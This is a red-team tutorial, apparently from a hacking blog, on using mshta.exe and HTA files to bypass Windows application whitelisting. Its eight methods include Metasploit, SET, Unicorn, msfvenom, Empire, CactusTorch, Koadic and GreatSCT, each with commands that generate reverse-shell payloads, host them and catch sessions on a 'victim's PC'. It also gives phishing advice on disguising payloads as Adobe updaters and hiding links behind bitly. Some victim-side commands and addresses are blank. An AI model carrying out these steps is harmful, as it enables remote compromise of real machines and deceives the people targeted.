Red Teaming

Windows Exploitation: mshta

Today we are going to learn about different methods of HTA attack. HTA is a useful and important attack because it can bypass application whitelisting.  In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with mshta.exe.

 And to learn different methods of the said attack always come handy.

Table of Content:

  • Introduction
  • Importance of HTA
  • Different methods
  • Conclusion


For a long time, HTA files have been utilized as part of drive-by web assaults or droppers for malware within the wild. This includes doing something as basic as diverting mobile clients and educating that the website doesn’t, however, have mobile support. HTA files are well known within the world of cybersecurity in perspectives of both red teaming and blue teaming as one of those “retro” ways valuable to bypass application whitelisting.

Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. HTML files that we can run JavaScript or Visual with. You can interpret these files using the Microsoft MSHTA.exe tool.


Finally, utilizing htaccess files or other strategies to divert based on browser sorts will help increase victory rates. Utilizing HTA files for web-based assaults. There’s a ton of adaptability inside an HTA file; you’ll effectively make it appear to be an Adobe updater, secure record per user, and a number of other things. It would moreover be useful to have the HTA file over HTTPS constraining discovery rates for companies not utilizing a few sorts of SSL interception/termination. HTA records help to bypass antivirus since they are still not well identified. Last but not least HTA can also be used in web phishing, replacing old Java Applet attack.


There are multiple methods for an HTA attack. And we are going to shine a light to almost all of them. Methods we are going to study are:

  • Metasploit
  • Setoolkit
  • Magic unicorn
  • Msfvenom
  • Empire
  • CactusTorch
  • Koadic
  • Great SCT


 Our first method is to use an inbuild exploit in Metasploit. For this, go to the terminal in your kali and type :


Metasploit contain “HTA Web Server” module which generates malicious hta file. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed. As the Metasploit will start up, type :

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost
msf exploit(windows/misc/hta_server) > exploit

Once the exploit is executed, it will give you an URL link with the extension of .hta. Simultaneously, Metasploit will start the server which allows you to share the file. This link you further have to run in your victim’s PC. Using the following command:


The usual file extension of an HTA is .hta. We have used the above command because HTA is treated like any executable file with extension .exe, hence, executed via mshta.exe. When hta gets launched by mshta.exe it uses a signed Microsoft binary, allowing you to call PowerShell and inject a payload directly into memory.

Once the above command is executed you will have a session open. To access the session, type:

sessions 1

Thus, you will have your meterpreter session.


Our method for HTA attack is through setoolkit. For this, open setoolkit in your kali. And from the menu given choose the first option by typing 1 to access social engineering tools.

From the next given menu, choose the second option by typing 2 to go into website attack vendors.

From the further given menu choose option 8 to select the HTA attack method.

Once you have selected the option 8 for HTA attack, next you need to select option 2 which will allow you to clone a site. Once selected the option 2, it will ask the URL of the site you want to clone. Provide the desired URL as here we have given ‘’.

After giving the URL it will ask you to select the type of meterpreter you want. Select the third one by typing 3.

Once you hit enter after typing 3, the process will start and you will have the handler (multi/handler)

Now convert your malicious IP into bitly link which will appear more genuine to victims when you will share this link with them.

When the victim will browse the above malicious link, the file will be saved and automatically executed in the victim’s PC after being saved; as shown in the image below:

Then you will have your meterpreter session. You can use the command ‘sysinfo’ to have the basic information about the victim’s PC.

Magic Unicorn

The next method for HTA attack is using unicorn third-party tool. The tool magic unicorn is developed by Dave Kennedy. It is a user-friendly tool which allows us to perform HTA attack by injecting shellcode straight into memory. The best part of this tool is that it’s compatible with Metasploit, along with shellcode and cobalt strike. You can have a detailed look at the software at, and you can download the software from GitHub or just by using this link

Once you have downloaded magic unicorn. Open it in the terminal of kali and type:

python windows/meterpreter/reverse_tcp 1234 hta

Executing the above command will start the process to create a .hta file. The said .hta file will be created in a folder hta-attack/. Go into that folder and see the list of files created by typing the following commands :

cd hta_attack/

Now you will be able to see a .hta file i.e. Launcher.hta. Start the python server so the file can be shared. To do so, type :

python -m SimpleHTTPServer 80

Once the server is up and running execute the following command in the cmd prompt of the victim’s PC :


When the above command will be executed, you will have your session activated in the multi/handler. To access the session, type :

sessions 1


The next method of HTA attack is by manually creating a .hta file through msfvenom. Create a .hta file, type the following command in the terminal of kali:

msfvenom -p windows/meterpreter/reverse_tcp lhost= lport=1234 -f hta-psh > shell.hta

Executing the above command will create a .hta file that you can use to your advantage. After creating the file, turn on the python server to share the file to the victim’s PC by typing:

python -m SimpleHTTPServer 80

Run the above file by typing:


Simultaneously, start your handler to receive a session when you run the above file in the victim’s cmd prompt. To start the multi/handler type:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

And so, with using such an easy method, you will have your session of meterpreter. You can use sysinfo to know the basics of the victim’s PC.

PowerShell Empire

For our next method of HTA Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our hta tacks with Metasploit but in this method, we will use empire framework. It’s solely a python-based PowerShell windows agent which makes it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework from Here

To have a basic guide of Empire, please visit our article introducing empire:

Hacking with Empire – PowerShell Post-Exploitation Agent

Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type :

uselistener http
set Host
set port 80

With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell

For our HTA attack, we will use a stager.  A stager, an empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:

usestager windows/hta
set Listener http
set OutFile /root/Desktop/1.hta

usestager will create a malicious code file that will be saved in the outfile named 1.hta. And once the file runs, we will have the result on our listener. Run the file in your victim’s by typing the following command :


To see if we have any session open type ‘agents’. Doing so will show you the name of the session you have. To access that session type :

interact L924Z1WR

The above command will give you access to the session.



Cactustorch is a framework for javascript and VBScript shellcode launcher. It is developed by Vincent Yiu. This tool can bypass many common defences which is an advantage for us till now. The major to thing to note is that the code we use in cactustorch is made through msfvenom and then encoded into Base64 as it only supports that.

So, to start with let’s first make our malware and then encrypt it.

msfvenom -p windows/meterpreter/reverse_tcp lhost= lport=1234 -f raw > 1.bin

Now to encrypt the file type:

cat 1.bin |base64 -w 0

Copy the base64 code as it is to be used later.

Now that we have our malware ready, let’s download cactustorch. You can download it from here:

Once it’s installed type the following to the content of the folder installed:

ls -la

The above command will start cactustorch for hta attack.

Once the cactustorch starts, paste the base64 code, at the highlighted space as shown in the image below, which was copied earlier.

As we have added our code, let’s execute the file in our victim’s PC by typing:


Simultaneously, start your multi/handler to receive a session. For multi/handler type:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

Once you execute the file in the victim’s PC, you will have your session.


Our next method is using Koadic. Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. To know more about Koadic please read our detailed articled on the said framework through this link:  //

Once the koadic is up and running, type info to get a list of details you need to provide in order to have a session. Through info, you know that you need to provide srvhost along with setting endpoint. So to set them type :

set srvhost
set ENDPOINT sales

Execute you’re the file in your victim’s PC by typing:

And you will have a session up and running. To know the name of session type:


And now to access the session type:

zombies 0


GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from here

Once it’s downloaded and running, type the following command to access the modules:

use Bypass

Now to see the list of payloads type :


Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :

use mshta/shellcode_inject/

Once the command is executed, type :


After executing generate command, it asks you which method you want to use. As we are going to use msfvenom type 1 to choose the first option. Then press enter for meterpreter. Then provide lhost and lport i.e. and 4321 respectively.

When generating the shellcode, it will ask you to give a name for a payload. By default, it will take ‘payload’ as a name. As I didn’t want to give any name, I simply pressed enter.

Now, it made two files. One resource file and other an hta file.

Now, firstly, start the python’s server in /usr/share/greatsct-output by typing:

python -m SimpleHTTPServer 80

Now execute the hta file in the command prompt of the victim’s PC.

Simultaneously, start the multi/handler using recourse file. For this, type :

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

And voila! You have your session.


So basically, this type of attack is a simple HTA attack that provide full access to the remote attacker. An attacker can create a malicious application for the Windows operating system using web technologies to clone a site. In a nutshell, it performs PowerShell injection through HTA files which can be used for Windows-based PowerShell exploitation through the browser. And the above are the methods used for the attack. As they say, if one door closes another opens; therefore when the same attack is learned in different ways are often convenient.

AuthorYashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here